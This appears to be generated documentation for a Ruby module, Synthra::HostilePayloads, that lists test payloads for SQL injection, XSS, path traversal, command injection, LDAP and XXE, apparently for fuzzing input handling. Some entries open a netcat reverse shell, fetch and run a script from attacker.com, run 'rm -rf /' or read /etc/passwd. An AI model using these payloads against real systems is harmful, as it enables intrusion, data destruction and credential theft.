Module: Synthra::HostilePayloads

Defined in:
lib/synthra/types/hostile_payloads.rb

Constant Summary collapse

SQL_INJECTION =

SQL Injection payloads

[
  "' OR '1'='1",
  "'; DROP TABLE users;--",
  "' UNION SELECT * FROM users--",
  "1' OR '1'='1",
  "admin'--",
  "' OR 1=1;--",
  "1' AND '1'='1",
  "' OR 'x'='x",
  "') OR ('1'='1--",
  "1' OR '1'='1' /*",
  "'; EXEC xp_cmdshell('dir');--",
  "' OR 1=1 LIMIT 1 -- '",
  "' OR 1=1 UNION SELECT NULL, username, password FROM users--",
  "admin' OR '1'='1' /*",
  "' UNION SELECT NULL--",
  "1' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--"
].freeze
XSS =

XSS (Cross-Site Scripting) payloads

[
  "<script>alert(1)</script>",
  "<img src=x onerror=alert(1)>",
  "<svg onload=alert(1)>",
  "javascript:alert(1)",
  "<body onload=alert(1)>",
  "<iframe src=javascript:alert(1)>",
  "<input onfocus=alert(1) autofocus>",
  "<select onfocus=alert(1) autofocus>",
  "<textarea onfocus=alert(1) autofocus>",
  "<keygen onfocus=alert(1) autofocus>",
  "<video><source onerror=alert(1)>",
  "<audio src=x onerror=alert(1)>",
  "<details open ontoggle=alert(1)>",
  "<marquee onstart=alert(1)>",
  "<math><mi//xlink:href=\"data:x,<script>alert(1)</script>\">"
].freeze
BUFFER_OVERFLOW =

Buffer overflow payloads

[
  "A" * 1000,
  "A" * 10000,
  "A" * 100000,
  "\x00" * 1000,
  "\xFF" * 1000,
  "A" * 65536, # 64KB
  "\x00" * 65536
].freeze
UNICODE_ATTACKS =

Unicode attack vectors

[
  "\u202E" + "evil" + "\u202D", # RTL override
  "\uFEFF" + "text", # BOM
  "\u200B" * 100, # Zero-width spaces
  "\u2060" * 100, # Word joiner
  "Zalgo: H\u0301\u0302\u0303\u0304\u0305\u0306\u0307\u0308\u0309\u030A\u030B\u030C\u030D\u030E\u030F\u0310\u0311\u0312\u0313\u0314\u0315\u0316\u0317\u0318\u0319\u031A\u031B\u031C\u031D\u031E\u031F\u0320\u0321\u0322\u0323\u0324\u0325\u0326\u0327\u0328\u0329\u032A\u032B\u032C\u032D\u032E\u032F\u0330\u0331\u0332\u0333\u0334\u0335\u0336\u0337\u0338\u0339\u033A\u033B\u033C\u033D\u033E\u033F\u0340\u0341\u0342\u0343\u0344\u0345\u0346\u0347\u0348\u0349\u034A\u034B\u034C\u034D\u034E\u034F\u0350\u0351\u0352\u0353\u0354\u0355\u0356\u0357\u0358\u0359\u035A\u035B\u035C\u035D\u035E\u035F\u0360\u0361\u0362\u0363\u0364\u0365\u0366\u0367\u0368\u0369\u036A\u036B\u036C\u036D\u036E\u036F",
  "\x00", # Null byte
  "\xFF\xFE", # Invalid UTF-16 (BOM)
  "\xFF\xFF", # Invalid UTF-16
  [0xD800, 0xDC00].pack("U*"), # Surrogate pair
  "\uE000", # Private use
  "\uF8FF" # Private use
].freeze
PATH_TRAVERSAL =

Path traversal payloads

[
  "../../../etc/passwd",
  "..\\..\\..\\windows\\system32\\config\\sam",
  "....//....//....//etc/passwd",
  "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
  "..%2F..%2F..%2Fetc%2Fpasswd",
  "..%252F..%252F..%252Fetc%252Fpasswd",
  "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
].freeze
COMMAND_INJECTION =

Command injection payloads

[
  "; ls -la",
  "| cat /etc/passwd",
  "&& whoami",
  "`id`",
  "$(whoami)",
  "; rm -rf /",
  "| nc attacker.com 4444 -e /bin/sh",
  "; wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"
].freeze
LDAP_INJECTION =

LDAP injection payloads

[
  "*)(uid=*))(|(uid=*",
  "*))%00",
  "*()|&",
  "admin)(&(password=*))",
  "*)(|(mail=*))",
  "*))%00"
].freeze
XXE_INJECTION =

XML/XXE injection payloads

[
  '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
  '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]><foo>&xxe;</foo>',
  '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe;]><foo></foo>'
].freeze
ALL =

All hostile payloads combined

(SQL_INJECTION + XSS + BUFFER_OVERFLOW + UNICODE_ATTACKS + PATH_TRAVERSAL + COMMAND_INJECTION + LDAP_INJECTION + XXE_INJECTION).freeze